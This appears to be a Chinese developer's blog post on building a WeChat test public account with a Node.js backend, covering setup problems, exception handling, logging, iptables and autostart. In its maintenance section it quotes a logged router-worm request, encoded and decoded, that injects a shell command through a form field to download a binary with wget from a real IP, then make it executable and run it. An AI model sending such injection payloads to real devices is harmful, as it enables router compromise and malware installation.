【微信測試公眾號】
半年前耍着玩搭起來的“微信簡歷”,是LAMP版的,很皮毛。
微信的官方文檔在這 http://mp.weixin.qq.com/wiki/index.php
1.獲取access token
2.自定義菜單創建,直接在調試工具上做了 http://mp.weixin.qq.com/debug
3.接入指南(接入自己的網站)
4.接收微信消息,判斷消息類型,判斷消息關鍵字(比如來自哪個按鈕),響應消息
這里有個小坑,不同類型的消息數據結構略有不同,判空最好做細致點。
【V2.0 換nodejs后台】
用慣LAMP和Tomcat+SpringMVC,剛接觸nodejs硬是看傻眼了~服務器呢?容器呢?要自己在js里監聽端口。。。好伐,看着API查着demo搞起~於是開始填坑之旅啦~
1.微信的消息是xml格式,解析需要工具,比如xml2js
--->干脆直接找到個微信的框架node-wechat,瞄了一下依賴,底層就是xml2js,不用重復發明輪子了~認證部分sha1驗證也不用自己寫~
2.js文件放上Ubuntu服務器用node啟動不了~【Error: listen EACCES】
--->查了一下是服務器80端口要用root運行~不想sudo讓腳本權限太高,只好在iptables里把80端口的訪問轉發到比如8080~終於跑起來了。
3.微信消息的數據結構細節問題,比如沒特意判斷是否文本消息就取Content字段導致類似空指針錯誤。細心點就能解決的。
--->為此還特意進去看了一下node-wechat/index.js的代碼,框架的作者還是蠻細致的,該處理的都處理了。
4.健壯性:隨便一個非微信請求就會Exception奔潰退出。--->在js代碼里加入try...catch卻完全不起作用。
--->因為框架的設計是基於事件監聽的模式,許多異步和回調的操作,不用try...catch捕捉,而是要用process.on('uncaughtException', callback)去處理。
5.日志。直接記錄未解析的req對象得到的是[object],記錄解析后的對象則取不到那些無效的請求。
--->不想太復雜又引入日志框架,直接把寫文件的代碼嵌入到微信的框架里,在讀入請求流req.on('end', callback)里記錄請求,完事~
6.守護進程。node監聽端口是手動調用的,所以,進程啟動也要自己手動去做。--->不想掛nohup,就安裝了又一個node框架forever,而且要-g方式安裝。
至此,測試公眾號終於跑起來啦!
【后期維護】
過了兩天沒事上去檢查日志,貌似還是不能很愉快地玩耍~
1.Caught exception: TypeError: Cannot read property 'xml' of null
非微信請求,比如直接敲網址。反正錯誤已抓住了,就不處理了。想更健壯些可以對http請求做判斷和日志。
2.可疑請求
#請求的原內容 %73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 #解碼后 submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1
whois查了一下ip是個奇怪的域名,網站為空,目測是個類似爬蟲的東西。
查了一下關鍵字,發現是在烏雲上登記的漏洞, http://www.wooyun.org/bugs/wooyun-2013-021321 基本上可以判定,就是個掃描攻擊路由器的蠕蟲~
已經把除了80和22以外的端口封掉了,不過請求就是從80端口進來的,沒辦法~
而且只是針對路由器的攻擊,在我的應用中只是一堆編碼,沒威脅~況且故意跑了一下wget命令,也連不上,估計攻擊方已經轉移了~
3.開機無法自動啟動——防火牆設置
iptables端口重定向設置,一重啟就被重置。嘗試了官網保存設置的方式 http://wiki.ubuntu.org.cn/IptablesHowTo#Saving_iptables_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE 是生效了,但是貌似把雲主機上的設置給覆蓋了,導致22端口連不上,整台雲主機就這樣廢掉了~~~找客服運維太麻煩了,直接重裝了~~~
搗騰了好幾回,最后決定在/etc/rc.local里添加命令,每次開機配置~成功~
4.開機無法自動啟動——node應用自動啟動
先前是用forever框架來管理應用,發現機器重啟后應用並不能自動啟動,還要另外安裝checkconfig之類的服務器的一些程序,從簡單的角度出發,還是照樣交給rc.local吧~
然后為了后台運行且不用root運行以免權限太大,配合了nohup和su命令,重啟后如期望的那樣~
su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser
5.warning: possible EventEmitter memory leak detected. 11 listeners added. Use emitter.setMaxListeners() to increase limit.
一口氣開了太多監聽事件,但框架就這么設計的,只好把限制設大唄~其實也不礙事~
好啦,終於填平所有坑,可以愉快地玩耍啦~